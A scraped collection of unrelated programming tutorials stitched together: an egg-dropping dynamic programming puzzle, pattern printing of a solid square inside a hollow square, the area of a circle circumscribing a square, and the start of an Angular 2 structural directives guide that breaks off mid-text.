[ { "code": null, "e": 1287, "s": 1062, "text": "This is a famous puzzle problem. Suppose there is a building with n floors, if we have m eggs, then how can we find the minimum number of drops needed to find a floor from which it is safe to drop an egg without breaking it." }, { "code": null, "e": 1329, "s": 1287, "text": "There some important points to remember −" }, { "code": null, "e": 1425, "s": 1329, "text": "When an egg does not break from a given floor, then it will not break for any lower floor also." }, { "code": null, "e": 1503, "s": 1425, "text": "If an egg breaks from a given floor, then it will break for all upper floors." }, { "code": null, "e": 1577, "s": 1503, "text": "When an egg breaks, it must be discarded, otherwise, we can use it again." }, { "code": null, "e": 1764, "s": 1577, "text": "Input:\nThe number of eggs and the maximum floor. Say the number of eggs are 4 and the maximum floor is 10.\nOutput:\nEnter number of eggs: 4\nEnter max Floor: 10\nMinimum number of trials: 4" }, { "code": null, "e": 1792, "s": 1764, "text": "eggTrialCount(eggs, floors)" }, { "code": null, "e": 1830, "s": 1792, "text": "Input: Number of eggs, maximum floor." }, { "code": null, "e": 1871, "s": 1830, "text": "Output − Get a minimum number of trials." }, { "code": null, "e": 2404, "s": 1871, "text": "Begin\n define matrix of size [eggs+1, floors+1]\n for i:= 1 to eggs, do\n minTrial[i, 1] := 1\n minTrial[i, 0] := 0\n done\n\n for j := 1 to floors, do\n minTrial[1, j] := j\n done\n\n for i := 2 to eggs, do\n for j := 2 to floors, do\n minTrial[i, j] := ∞\n for k := 1 to j, do\n res := 1 + max of minTrial[i-1, k-1] and minTrial[i, j-k]\n if res < minTrial[i, j], then\n minTrial[i,j] := res\n done\n done\n done\n\n return minTrial[eggs, floors]\nEnd" }, { "code": null, "e": 3641, "s": 2404, "text": "#include<iostream>\nusing namespace std;\n\nint max(int a, int b) {\n return (a > b)? a: b;\n}\n\nint eggTrialCount(int eggs, int floors) { //minimum trials for worst case\n int minTrial[eggs+1][floors+1]; //to store minimum trials for ith egg and jth floor\n int res;\n\n for (int i = 1; i <= eggs; i++) { //one trial to check from first floor, and no trial for 0th floor\n minTrial[i][1] = 1;\n minTrial[i][0] = 0;\n }\n\n for (int j = 1; j <= floors; j++) //when egg is 1, we need 1 trials for each floor\n minTrial[1][j] = j;\n\n for (int i = 2; i <= eggs; i++) { //for 2 or more than 2 eggs\n for (int j = 2; j <= floors; j++) { //for second or more than second floor\n minTrial[i][j] = INT_MAX;\n for (int k = 1; k <= j; k++) {\n res = 1 + max(minTrial[i-1][k-1], minTrial[i][j-k]);\n if (res < minTrial[i][j])\n minTrial[i][j] = res;\n }\n }\n }\n\n return minTrial[eggs][floors]; //number of trials for asked egg and floor\n}\n\nint main () {\n int egg, maxFloor;\n cout << \"Enter number of eggs: \"; cin >> egg;\n cout << \"Enter max Floor: \"; cin >> maxFloor;\n cout << \"Minimum number of trials: \" << eggTrialCount(egg, maxFloor);\n}" }, { "code": null, "e": 3713, "s": 3641, "text": "Enter number of eggs: 4\nEnter max Floor: 10\nMinimum number of trials: 4" } ]
Solid square inside a hollow square | Pattern - GeeksforGeeks
08 Apr, 2021 Given the value of n, print a hollow square of side length n and inside it a solid square of side length (n – 4) using stars(*). Examples : Input : n = 6 Output : ****** * * * ** * * ** * * * ****** Input : n = 11 Output : *********** * * * ******* * * ******* * * ******* * * ******* * * ******* * * ******* * * ******* * * * *********** C++ Java Python3 C# PHP Javascript // C++ implementation to print// solid square inside a hollow square#include <bits/stdc++.h>using namespace std; // function to print the required patternvoid print_Pattern(int n){ for (int i = 1; i <= n; i++) { for (int j = 1; j <= n; j++) { // First two conditions are for outer // hollow square and next two conditions // are for inner solid square if ((i == 1 || i == n) || (j == 1 || j == n) || (i >= 3 && i <= n - 2) && (j >= 3 && j <= n - 2)) cout<< "*"; else cout<< " "; } cout<<endl;}} // Driver Codeint main(){ // Take n as input int n = 6; // function calling print_Pattern(n); return 0;} // Java implementation to print// solid square inside a hollow squareimport java.io.*; class GFG{ // function to print the required pattern static void print_Pattern(int n) { for (int i = 1; i <= n; i++) { for (int j = 1; j <= n; j++) { // First two conditions are for outer // hollow square and next two conditions // are for inner solid square if ((i == 1 || i == n) || (j == 1 || j == n) || (i >= 3 && i <= n - 2) && (j >= 3 && j <= n - 2)) System.out.print("*"); else System.out.print(" "); } System.out.println(); } } // Driver Code public static void main (String[] args) { // Take n as input int n = 6; // function calling print_Pattern(n); }} // This code is contributed by vt_m. # Python3 implementation to print# solid square inside a hollow square # Function to print the required patterndef print_Pattern(n): for i in range(1, n + 1): for j in range(1, n + 1): # First two conditions are for outer # hollow square and next two conditions # are for inner solid square if ((i == 1 or i == n) or (j == 1 or j == n) or (i >= 3 and i <= n - 2) and (j >= 3 and j <= n - 2)): print("*", end = "") else: print(end = " ") print() # Driver Coden = 6print_Pattern(n) # This code is contributed by Azkia Anam. // C# implementation to print solid square// inside a hollow squareusing System; class GFG { // function to print the required // pattern static void print_Pattern(int n) { for (int i = 1; i <= n; i++) { for (int j = 1; j <= n; j++) { // First two conditions are // for outer hollow square // and next two conditions // are for inner solid square if ((i == 1 || i == n) || (j == 1 || j == n) || (i >= 3 && i <= n - 2) && (j >= 3 && j <= n - 2)) Console.Write("*"); else Console.Write(" "); } Console.WriteLine(); } } // Driver Code public static void Main () { // Take n as input int n = 6; // function calling print_Pattern(n); }} // This code is contributed by vt_m. <?php// PHP implementation to print// solid square inside a hollow square // Function to print the required patternfunction print_Pattern($n){ for ($i = 1; $i <= $n; $i++) { for ($j = 1; $j <= $n; $j++) { // First two conditions are // for outer hollow square and // next two conditions are for // inner solid square if (($i == 1 || $i == $n) || ($j == 1 || $j == $n) || ($i >= 3 && $i <= $n - 2) && ($j >= 3 && $j <= $n - 2)) echo "*"; else echo " "; } echo "\n"; }} // Driver Code$n = 6;print_Pattern($n); // This code is contributed by Mithun Kumar?> <script> // JavaScript implementation to print // solid square inside a hollow square // function to print the required pattern function print_Pattern(n) { for (var i = 1; i <= n; i++) { for (var j = 1; j <= n; j++) { // First two conditions are for outer // hollow square and next two conditions // are for inner solid square if ( i == 1 || i == n || j == 1 || j == n || (i >= 3 && i <= n - 2 && j >= 3 && j <= n - 2) ) document.write("*"); else document.write(" "); } document.write("<br>"); } } // Driver Code // Take n as input var n = 6; // function calling print_Pattern(n); // This code is contributed by rdtank. </script> Output : ****** * * * ** * * ** * * * ****** Mithun Kumar rdtank pattern-printing School Programming pattern-printing Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Constructors in Java Exceptions in Java Ternary Operator in Python Difference between Abstract Class and Interface in Java Destructors in C++ Inline Functions in C++ Exception Handling in C++ Pure Virtual Functions and Abstract Classes in C++ Python Exception Handling 'this' pointer in C++
[ { "code": null, "e": 23815, "s": 23787, "text": "\n08 Apr, 2021" }, { "code": null, "e": 23957, "s": 23815, "text": "Given the value of n, print a hollow square of side length n and inside it a solid square of side length (n – 4) using stars(*). Examples : " }, { "code": null, "e": 24179, "s": 23957, "text": "Input : n = 6\nOutput :\n******\n* *\n* ** *\n* ** *\n* *\n******\n\nInput : n = 11\nOutput :\n***********\n* *\n* ******* *\n* ******* *\n* ******* *\n* ******* *\n* ******* *\n* ******* *\n* ******* *\n* *\n***********" }, { "code": null, "e": 24187, "s": 24183, "text": "C++" }, { "code": null, "e": 24192, "s": 24187, "text": "Java" }, { "code": null, "e": 24200, "s": 24192, "text": "Python3" }, { "code": null, "e": 24203, "s": 24200, "text": "C#" }, { "code": null, "e": 24207, "s": 24203, "text": "PHP" }, { "code": null, "e": 24218, "s": 24207, "text": "Javascript" }, { "code": "// C++ implementation to print// solid square inside a hollow square#include <bits/stdc++.h>using namespace std; // function to print the required patternvoid print_Pattern(int n){ for (int i = 1; i <= n; i++) { for (int j = 1; j <= n; j++) { // First two conditions are for outer // hollow square and next two conditions // are for inner solid square if ((i == 1 || i == n) || (j == 1 || j == n) || (i >= 3 && i <= n - 2) && (j >= 3 && j <= n - 2)) cout<< \"*\"; else cout<< \" \"; } cout<<endl;}} // Driver Codeint main(){ // Take n as input int n = 6; // function calling print_Pattern(n); return 0;}", "e": 24899, "s": 24218, "text": null }, { "code": "// Java implementation to print// solid square inside a hollow squareimport java.io.*; class GFG{ // function to print the required pattern static void print_Pattern(int n) { for (int i = 1; i <= n; i++) { for (int j = 1; j <= n; j++) { // First two conditions are for outer // hollow square and next two conditions // are for inner solid square if ((i == 1 || i == n) || (j == 1 || j == n) || (i >= 3 && i <= n - 2) && (j >= 3 && j <= n - 2)) System.out.print(\"*\"); else System.out.print(\" \"); } System.out.println(); } } // Driver Code public static void main (String[] args) { // Take n as input int n = 6; // function calling print_Pattern(n); }} // This code is contributed by vt_m.", "e": 25854, "s": 24899, "text": null }, { "code": "# Python3 implementation to print# solid square inside a hollow square # Function to print the required patterndef print_Pattern(n): for i in range(1, n + 1): for j in range(1, n + 1): # First two conditions are for outer # hollow square and next two conditions # are for inner solid square if ((i == 1 or i == n) or (j == 1 or j == n) or (i >= 3 and i <= n - 2) and (j >= 3 and j <= n - 2)): print(\"*\", end = \"\") else: print(end = \" \") print() # Driver Coden = 6print_Pattern(n) # This code is contributed by Azkia Anam.", "e": 26527, "s": 25854, "text": null }, { "code": "// C# implementation to print solid square// inside a hollow squareusing System; class GFG { // function to print the required // pattern static void print_Pattern(int n) { for (int i = 1; i <= n; i++) { for (int j = 1; j <= n; j++) { // First two conditions are // for outer hollow square // and next two conditions // are for inner solid square if ((i == 1 || i == n) || (j == 1 || j == n) || (i >= 3 && i <= n - 2) && (j >= 3 && j <= n - 2)) Console.Write(\"*\"); else Console.Write(\" \"); } Console.WriteLine(); } } // Driver Code public static void Main () { // Take n as input int n = 6; // function calling print_Pattern(n); }} // This code is contributed by vt_m.", "e": 27516, "s": 26527, "text": null }, { "code": "<?php// PHP implementation to print// solid square inside a hollow square // Function to print the required patternfunction print_Pattern($n){ for ($i = 1; $i <= $n; $i++) { for ($j = 1; $j <= $n; $j++) { // First two conditions are // for outer hollow square and // next two conditions are for // inner solid square if (($i == 1 || $i == $n) || ($j == 1 || $j == $n) || ($i >= 3 && $i <= $n - 2) && ($j >= 3 && $j <= $n - 2)) echo \"*\"; else echo \" \"; } echo \"\\n\"; }} // Driver Code$n = 6;print_Pattern($n); // This code is contributed by Mithun Kumar?>", "e": 28266, "s": 27516, "text": null }, { "code": "<script> // JavaScript implementation to print // solid square inside a hollow square // function to print the required pattern function print_Pattern(n) { for (var i = 1; i <= n; i++) { for (var j = 1; j <= n; j++) { // First two conditions are for outer // hollow square and next two conditions // are for inner solid square if ( i == 1 || i == n || j == 1 || j == n || (i >= 3 && i <= n - 2 && j >= 3 && j <= n - 2) ) document.write(\"*\"); else document.write(\" \"); } document.write(\"<br>\"); } } // Driver Code // Take n as input var n = 6; // function calling print_Pattern(n); // This code is contributed by rdtank. </script>", "e": 29183, "s": 28266, "text": null }, { "code": null, "e": 29194, "s": 29183, "text": "Output : " }, { "code": null, "e": 29236, "s": 29194, "text": "******\n* *\n* ** *\n* ** *\n* *\n******" }, { "code": null, "e": 29251, "s": 29238, "text": "Mithun Kumar" }, { "code": null, "e": 29258, "s": 29251, "text": "rdtank" }, { "code": null, "e": 29275, "s": 29258, "text": "pattern-printing" }, { "code": null, "e": 29294, "s": 29275, "text": "School Programming" }, { "code": null, "e": 29311, "s": 29294, "text": "pattern-printing" }, { "code": null, "e": 29409, "s": 29311, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 29418, "s": 29409, "text": "Comments" }, { "code": null, "e": 29431, "s": 29418, "text": "Old Comments" }, { "code": null, "e": 29452, "s": 29431, "text": "Constructors in Java" }, { "code": null, "e": 29471, "s": 29452, "text": "Exceptions in Java" }, { "code": null, "e": 29498, "s": 29471, "text": "Ternary Operator in Python" }, { "code": null, "e": 29554, "s": 29498, "text": "Difference between Abstract Class and Interface in Java" }, { "code": null, "e": 29573, "s": 29554, "text": "Destructors in C++" }, { "code": null, "e": 29597, "s": 29573, "text": "Inline Functions in C++" }, { "code": null, "e": 29623, "s": 29597, "text": "Exception Handling in C++" }, { "code": null, "e": 29674, "s": 29623, "text": "Pure Virtual Functions and Abstract Classes in C++" }, { "code": null, "e": 29700, "s": 29674, "text": "Python Exception Handling" } ]
Area of a Circumscribed Circle of a Square - GeeksforGeeks
18 Mar, 2021 Given the side of a square then find the area of a Circumscribed circle around it.Examples: Input : a = 6 Output : Area of a circumscribed circle is : 56.55 Input : a = 4 Output : Area of a circumscribed circle is : 25.13 All four sides of a square are of equal length and all four angles are 90 degree. The circle is circumscribed on a given square shown by a shaded region in the below diagram. Properties of Circumscribed circle are as follows: The center of the circumcircle is the point where the two diagonals of a square meet. Circumscribed circle of a square is made through the four vertices of a square. The radius of a circumcircle of a square is equal to the radius of a square. Formula used to calculate the area of inscribed circle is: (PI * a * a)/2 where, a is the side of a square in which a circle is circumscribed.How does this formula work? We know area of circle = PI*r*r. We also know radius of circle = (square diagonal)/2 Length of diagonal = ?(2*a*a) Radius = ?(2*a*a)/2 = ?((a*a)/2) Area = PI*r*r = (PI*a*a)/2 C++ Java Python3 C# PHP Javascript // C++ Program to find the// area of a circumscribed circle#include <stdio.h>#define PI 3.14159265 float areacircumscribed(float a){ return (a * a * (PI / 2));} // Driver codeint main(){ float a = 6; printf(" Area of an circumscribed circle is : %.2f ", areacircumscribed(a)); return 0;} // Java program to calculate// area of a circumscribed circle-squareimport java.io.*;class Gfg { // Utility Function static float areacircumscribed(float a) { float PI = 3.14159265f; return (a * a * (PI / 2)); } // Driver Function public static void main(String arg[]) { float a = 6; System.out.print("Area of an circumscribed" + "circle is :"); System.out.println(areacircumscribed(a)); }} // The code is contributed by Anant Agarwal. # Python3 Program to find the# area of a circumscribed circlePI = 3.14159265 def areacircumscribed(a): return (a * a * (PI / 2)) # Driver codea = 6print(" Area of an circumscribed circle is :", round(areacircumscribed(a), 2)) # This code is contributed by Smitha Dinesh Semwal // C# Program to find the// area of a circumscribed circleusing System; class GFG { public static double PI= 3.14159265 ; static float areacircumscribed(float a) { return (a * a * (float)(PI / 2)); } // Driver code public static void Main() { float a = 6; Console.Write(" Area of an circumscribed" + " circle is : {0}", Math.Round(areacircumscribed(a), 2)); }} // This code is contributed by// Smitha Dinesh Semwal <?php// PHP Program to find the// area of a circumscribed// circle $PI = 3.14159265; // function returns the areafunction areacircumscribed($a){ global $PI; return ($a * $a * ($PI / 2));} // Driver code $a = 6; echo " Area of an circumscribed circle is : ", areacircumscribed($a); // The code is contributed by anuj_67.?> <script> // Javascript Program to find the// area of a circumscribed circlefunction areacircumscribed(a){ return (a * a * (3.1415 / 2));} // Driver code let a = 6; document.write(" Area of an circumscribed circle is : ", areacircumscribed(a)); // This code is contributed by Mayank Tyagi</script> Output : Area of an circumscribed circle is : 56.55 Smitha Dinesh Semwal vt_m mayanktyagi1709 circle Geometric School Programming Geometric Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Given n line segments, find if any two segments intersect Convex Hull | Set 2 (Graham Scan) Equation of circle when three points on the circle are given Polygon Clipping | Sutherland–Hodgman Algorithm Program for Point of Intersection of Two Lines Python Dictionary Arrays in C/C++ Inheritance in C++ Reverse a string in Java Interfaces in Java
[ { "code": null, "e": 24869, "s": 24841, "text": "\n18 Mar, 2021" }, { "code": null, "e": 24963, "s": 24869, "text": "Given the side of a square then find the area of a Circumscribed circle around it.Examples: " }, { "code": null, "e": 25094, "s": 24963, "text": "Input : a = 6\nOutput : Area of a circumscribed circle is : 56.55\n\nInput : a = 4\nOutput : Area of a circumscribed circle is : 25.13" }, { "code": null, "e": 25273, "s": 25096, "text": "All four sides of a square are of equal length and all four angles are 90 degree. The circle is circumscribed on a given square shown by a shaded region in the below diagram. " }, { "code": null, "e": 25326, "s": 25273, "text": "Properties of Circumscribed circle are as follows: " }, { "code": null, "e": 25412, "s": 25326, "text": "The center of the circumcircle is the point where the two diagonals of a square meet." }, { "code": null, "e": 25492, "s": 25412, "text": "Circumscribed circle of a square is made through the four vertices of a square." }, { "code": null, "e": 25569, "s": 25492, "text": "The radius of a circumcircle of a square is equal to the radius of a square." }, { "code": null, "e": 25916, "s": 25571, "text": "Formula used to calculate the area of inscribed circle is: (PI * a * a)/2 where, a is the side of a square in which a circle is circumscribed.How does this formula work? We know area of circle = PI*r*r. We also know radius of circle = (square diagonal)/2 Length of diagonal = ?(2*a*a) Radius = ?(2*a*a)/2 = ?((a*a)/2) Area = PI*r*r = (PI*a*a)/2" }, { "code": null, "e": 25923, "s": 25919, "text": "C++" }, { "code": null, "e": 25928, "s": 25923, "text": "Java" }, { "code": null, "e": 25936, "s": 25928, "text": "Python3" }, { "code": null, "e": 25939, "s": 25936, "text": "C#" }, { "code": null, "e": 25943, "s": 25939, "text": "PHP" }, { "code": null, "e": 25954, "s": 25943, "text": "Javascript" }, { "code": "// C++ Program to find the// area of a circumscribed circle#include <stdio.h>#define PI 3.14159265 float areacircumscribed(float a){ return (a * a * (PI / 2));} // Driver codeint main(){ float a = 6; printf(\" Area of an circumscribed circle is : %.2f \", areacircumscribed(a)); return 0;}", "e": 26264, "s": 25954, "text": null }, { "code": "// Java program to calculate// area of a circumscribed circle-squareimport java.io.*;class Gfg { // Utility Function static float areacircumscribed(float a) { float PI = 3.14159265f; return (a * a * (PI / 2)); } // Driver Function public static void main(String arg[]) { float a = 6; System.out.print(\"Area of an circumscribed\" + \"circle is :\"); System.out.println(areacircumscribed(a)); }} // The code is contributed by Anant Agarwal.", "e": 26784, "s": 26264, "text": null }, { "code": "# Python3 Program to find the# area of a circumscribed circlePI = 3.14159265 def areacircumscribed(a): return (a * a * (PI / 2)) # Driver codea = 6print(\" Area of an circumscribed circle is :\", round(areacircumscribed(a), 2)) # This code is contributed by Smitha Dinesh Semwal", "e": 27080, "s": 26784, "text": null }, { "code": "// C# Program to find the// area of a circumscribed circleusing System; class GFG { public static double PI= 3.14159265 ; static float areacircumscribed(float a) { return (a * a * (float)(PI / 2)); } // Driver code public static void Main() { float a = 6; Console.Write(\" Area of an circumscribed\" + \" circle is : {0}\", Math.Round(areacircumscribed(a), 2)); }} // This code is contributed by// Smitha Dinesh Semwal", "e": 27599, "s": 27080, "text": null }, { "code": "<?php// PHP Program to find the// area of a circumscribed// circle $PI = 3.14159265; // function returns the areafunction areacircumscribed($a){ global $PI; return ($a * $a * ($PI / 2));} // Driver code $a = 6; echo \" Area of an circumscribed circle is : \", areacircumscribed($a); // The code is contributed by anuj_67.?>", "e": 27961, "s": 27599, "text": null }, { "code": "<script> // Javascript Program to find the// area of a circumscribed circlefunction areacircumscribed(a){ return (a * a * (3.1415 / 2));} // Driver code let a = 6; document.write(\" Area of an circumscribed circle is : \", areacircumscribed(a)); // This code is contributed by Mayank Tyagi</script>", "e": 28274, "s": 27961, "text": null }, { "code": null, "e": 28285, "s": 28274, "text": "Output : " }, { "code": null, "e": 28330, "s": 28285, "text": " Area of an circumscribed circle is : 56.55 " }, { "code": null, "e": 28353, "s": 28332, "text": "Smitha Dinesh Semwal" }, { "code": null, "e": 28358, "s": 28353, "text": "vt_m" }, { "code": null, "e": 28374, "s": 28358, "text": "mayanktyagi1709" }, { "code": null, "e": 28381, "s": 28374, "text": "circle" }, { "code": null, "e": 28391, "s": 28381, "text": "Geometric" }, { "code": null, "e": 28410, "s": 28391, "text": "School Programming" }, { "code": null, "e": 28420, "s": 28410, "text": "Geometric" }, { "code": null, "e": 28518, "s": 28420, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28527, "s": 28518, "text": "Comments" }, { "code": null, "e": 28540, "s": 28527, "text": "Old Comments" }, { "code": null, "e": 28598, "s": 28540, "text": "Given n line segments, find if any two segments intersect" }, { "code": null, "e": 28632, "s": 28598, "text": "Convex Hull | Set 2 (Graham Scan)" }, { "code": null, "e": 28693, "s": 28632, "text": "Equation of circle when three points on the circle are given" }, { "code": null, "e": 28741, "s": 28693, "text": "Polygon Clipping | Sutherland–Hodgman Algorithm" }, { "code": null, "e": 28788, "s": 28741, "text": "Program for Point of Intersection of Two Lines" }, { "code": null, "e": 28806, "s": 28788, "text": "Python Dictionary" }, { "code": null, "e": 28822, "s": 28806, "text": "Arrays in C/C++" }, { "code": null, "e": 28841, "s": 28822, "text": "Inheritance in C++" }, { "code": null, "e": 28866, "s": 28841, "text": "Reverse a string in Java" } ]
Angular 2 - Structural Directives
The structural directives alter the layout of the DOM by adding, replacing and removing its elements. The two familiar examples of structural directive are listed below: NgFor: It is a repeater directive that customizes data display. It can be used to display a list of items. NgFor: It is a repeater directive that customizes data display. It can be used to display a list of items. NgIf: It removes or recreates a part of DOM tree depending on an expression evaluation. NgIf: It removes or recreates a part of DOM tree depending on an expression evaluation. The below example describes use of structural directives in the Angular 2: <html> <head> <title>Contact Form</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/es6-shim/0.33.3/es6-shim.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/systemjs/0.19.20/system-polyfills.js"></script> <script src="https://code.angularjs.org/2.0.0-beta.6/angular2-polyfills.js"></script> <script src="https://code.angularjs.org/tools/system.js"></script> <script src="https://code.angularjs.org/tools/typescript.js"></script> <script src="https://code.angularjs.org/2.0.0-beta.6/Rx.js"></script> <script src="https://code.angularjs.org/2.0.0-beta.6/angular2.dev.js"></script> <script> System.config({ transpiler: 'typescript', typescriptOptions: { emitDecoratorMetadata: true }, packages: {'app': {defaultExtension: 'ts'}}, map: { 'app': './angular2/src/app' } }); System.import('app/structural_main') .then(null, console.error.bind(console)); </script> </head> <body> <my-app>Loading...</my-app> </body> </html> The above code includes the following configuration options: You can configure the index.html file using typescript version. The SystemJS transpile the TypeScript to JavaScript before running the application by using the transpiler option. You can configure the index.html file using typescript version. The SystemJS transpile the TypeScript to JavaScript before running the application by using the transpiler option. If you do not transpile to JavaScript before running the application, you could see the compiler warnings and errors which are hidden in the browser. If you do not transpile to JavaScript before running the application, you could see the compiler warnings and errors which are hidden in the browser. The TypeScript generates metadata for each and every class of the code when the emitDecoratorMetadata option is set. If you don't specify this option, large amount of unused metadata will be generated which affects the file size and impact on the application runtime. The TypeScript generates metadata for each and every class of the code when the emitDecoratorMetadata option is set. If you don't specify this option, large amount of unused metadata will be generated which affects the file size and impact on the application runtime. Angular 2 includes the packages form the app folder where files will have the .ts extension. Angular 2 includes the packages form the app folder where files will have the .ts extension. Next it will load the main component file from the app folder. If there is no main component file found, then it will display the error in the console. Next it will load the main component file from the app folder. If there is no main component file found, then it will display the error in the console. When Angular calls the bootstrap function in main.ts, it reads the Component metadata, finds the 'app' selector, locates an element tag named app, and loads the application between those tags. When Angular calls the bootstrap function in main.ts, it reads the Component metadata, finds the 'app' selector, locates an element tag named app, and loads the application between those tags. To run the code, you need the following TypeScript(.ts) files which you need to save under the app folder. import {bootstrap} from 'angular2/platform/browser'; //importing bootstrap function import {AppComponent} from './structural_app.component'; //importing component function bootstrap(AppComponent); Now we will create a component in TypeScript(.ts) file which we will create a view for the component. import {Component} from 'angular2/core'; @Component({ selector: 'my-app', template: ` <h2>{{title}}</h2> <p class="alert alert-success" *ngIf="names.length > 2">Currently there are more than 2 names!</p> <p class="alert alert-danger" *ngIf="names.length <= 2">Currently there are less than 2 names left!</p> <ul> <li *ngFor="#nam of names" (click)="onNameClicked(nam)" >{{ nam.name }}</li> </ul> <input type="text" [(ngModel)]="selectedName.name"> <button (click)="onDeleteName()">Delete Name</button><br><br> <input type="text" #nam> <button (click)="onAddName(nam)">Add Name</button> ` }) export class AppComponent { title = 'Structural Directives'; public names = [ { name: "Kamal"}, { name: "Mitchel"}, { name: "Yoon"}, { name: "Johnson"}, { name: "Jet Li"} ]; public selectedName = {name : ""}; onNameClicked(nam) { this.selectedName = nam; } onAddName(nam) { this.names.push({name: nam.value}); } onDeleteName() { this.names.splice(this.names.indexOf(this.selectedName), 1); this.selectedName.name = ""; } } The @Component is a decorator which uses configuration object to create the component and its view. The @Component is a decorator which uses configuration object to create the component and its view. The selector creates an instance of the component where it finds <my-app> tag in parent HTML. The selector creates an instance of the component where it finds <my-app> tag in parent HTML. Next is *ngFor directive creates the view exports which we bind to in the template. The * is a shorthand for using Angular 2 template syntax with the template tag. Next is *ngFor directive creates the view exports which we bind to in the template. The * is a shorthand for using Angular 2 template syntax with the template tag. The local variable nam can be referenced in the template and get the index of the array. When you click on the item value, the onNameClicked() event will get activate and Angular 2 will bind the model name from the array with the local variable of template. The local variable nam can be referenced in the template and get the index of the array. When you click on the item value, the onNameClicked() event will get activate and Angular 2 will bind the model name from the array with the local variable of template. The methods onAddName() and onDeleteName() are used to add and delete the items from the list.The onNameClicked() method uses local varaible 'nam' as parameter and display the selected item by using the selectedName object. The methods onAddName() and onDeleteName() are used to add and delete the items from the list.The onNameClicked() method uses local varaible 'nam' as parameter and display the selected item by using the selectedName object. Let's carry out the following steps to see how above code works: Save above HTML code as index.html file as how we created in environment chapter and use the above app folder which contains .ts files. Save above HTML code as index.html file as how we created in environment chapter and use the above app folder which contains .ts files. Open the terminal window and enter the below command: npm start Open the terminal window and enter the below command: npm start After few moments, a browser tab should open and displays the output as shown below. After few moments, a browser tab should open and displays the output as shown below. OR you can run this file in another way: Save above HTML code as structural_directives.html file in your server root folder. Save above HTML code as structural_directives.html file in your server root folder. Open this HTML file as http://localhost/structural_directives.html and output as below gets displayed. Open this HTML file as http://localhost/structural_directives.html and output as below gets displayed. 16 Lectures 1.5 hours Anadi Sharma 28 Lectures 2.5 hours Anadi Sharma 11 Lectures 7.5 hours SHIVPRASAD KOIRALA 16 Lectures 2.5 hours Frahaan Hussain 69 Lectures 5 hours Senol Atac 53 Lectures 3.5 hours Senol Atac Print Add Notes Bookmark this page
[ { "code": null, "e": 2467, "s": 2297, "text": "The structural directives alter the layout of the DOM by adding, replacing and removing its elements. The two familiar examples of structural directive are listed below:" }, { "code": null, "e": 2574, "s": 2467, "text": "NgFor: It is a repeater directive that customizes data display. It can be used to display a list of items." }, { "code": null, "e": 2681, "s": 2574, "text": "NgFor: It is a repeater directive that customizes data display. It can be used to display a list of items." }, { "code": null, "e": 2769, "s": 2681, "text": "NgIf: It removes or recreates a part of DOM tree depending on an expression evaluation." }, { "code": null, "e": 2857, "s": 2769, "text": "NgIf: It removes or recreates a part of DOM tree depending on an expression evaluation." }, { "code": null, "e": 2932, "s": 2857, "text": "The below example describes use of structural directives in the Angular 2:" }, { "code": null, "e": 4173, "s": 2932, "text": "<html>\n <head>\n <title>Contact Form</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css\">\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/es6-shim/0.33.3/es6-shim.min.js\"></script>\n <script src=\"https://cdnjs.cloudflare.com/ajax/libs/systemjs/0.19.20/system-polyfills.js\"></script>\n <script src=\"https://code.angularjs.org/2.0.0-beta.6/angular2-polyfills.js\"></script>\n <script src=\"https://code.angularjs.org/tools/system.js\"></script>\n <script src=\"https://code.angularjs.org/tools/typescript.js\"></script>\n <script src=\"https://code.angularjs.org/2.0.0-beta.6/Rx.js\"></script>\n <script src=\"https://code.angularjs.org/2.0.0-beta.6/angular2.dev.js\"></script>\n <script>\n System.config({\n transpiler: 'typescript',\n typescriptOptions: { emitDecoratorMetadata: true },\n packages: {'app': {defaultExtension: 'ts'}},\n map: { 'app': './angular2/src/app' }\n });\n System.import('app/structural_main')\n .then(null, console.error.bind(console));\n </script>\n\n </head>\n <body>\n <my-app>Loading...</my-app>\n </body>\n</html>" }, { "code": null, "e": 4234, "s": 4173, "text": "The above code includes the following configuration options:" }, { "code": null, "e": 4415, "s": 4234, "text": "\nYou can configure the index.html file using typescript version. The SystemJS transpile the TypeScript to JavaScript before running the application by using the transpiler option.\n" }, { "code": null, "e": 4594, "s": 4415, "text": "You can configure the index.html file using typescript version. The SystemJS transpile the TypeScript to JavaScript before running the application by using the transpiler option." }, { "code": null, "e": 4746, "s": 4594, "text": "\nIf you do not transpile to JavaScript before running the application, you could see the compiler warnings and errors which are hidden in the browser.\n" }, { "code": null, "e": 4896, "s": 4746, "text": "If you do not transpile to JavaScript before running the application, you could see the compiler warnings and errors which are hidden in the browser." }, { "code": null, "e": 5166, "s": 4896, "text": "\nThe TypeScript generates metadata for each and every class of the code when the emitDecoratorMetadata option is set. If you don't specify this option, large amount of unused metadata will be generated which affects the file size and impact on the application runtime.\n" }, { "code": null, "e": 5434, "s": 5166, "text": "The TypeScript generates metadata for each and every class of the code when the emitDecoratorMetadata option is set. If you don't specify this option, large amount of unused metadata will be generated which affects the file size and impact on the application runtime." }, { "code": null, "e": 5529, "s": 5434, "text": "\nAngular 2 includes the packages form the app folder where files will have the .ts extension.\n" }, { "code": null, "e": 5622, "s": 5529, "text": "Angular 2 includes the packages form the app folder where files will have the .ts extension." }, { "code": null, "e": 5776, "s": 5622, "text": "\nNext it will load the main component file from the app folder. If there is no main component file found, then it will display the error in the console.\n" }, { "code": null, "e": 5928, "s": 5776, "text": "Next it will load the main component file from the app folder. If there is no main component file found, then it will display the error in the console." }, { "code": null, "e": 6123, "s": 5928, "text": "\nWhen Angular calls the bootstrap function in main.ts, it reads the Component metadata, finds the 'app' selector, locates an element tag named app, and loads the application between those tags.\n" }, { "code": null, "e": 6316, "s": 6123, "text": "When Angular calls the bootstrap function in main.ts, it reads the Component metadata, finds the 'app' selector, locates an element tag named app, and loads the application between those tags." }, { "code": null, "e": 6423, "s": 6316, "text": "To run the code, you need the following 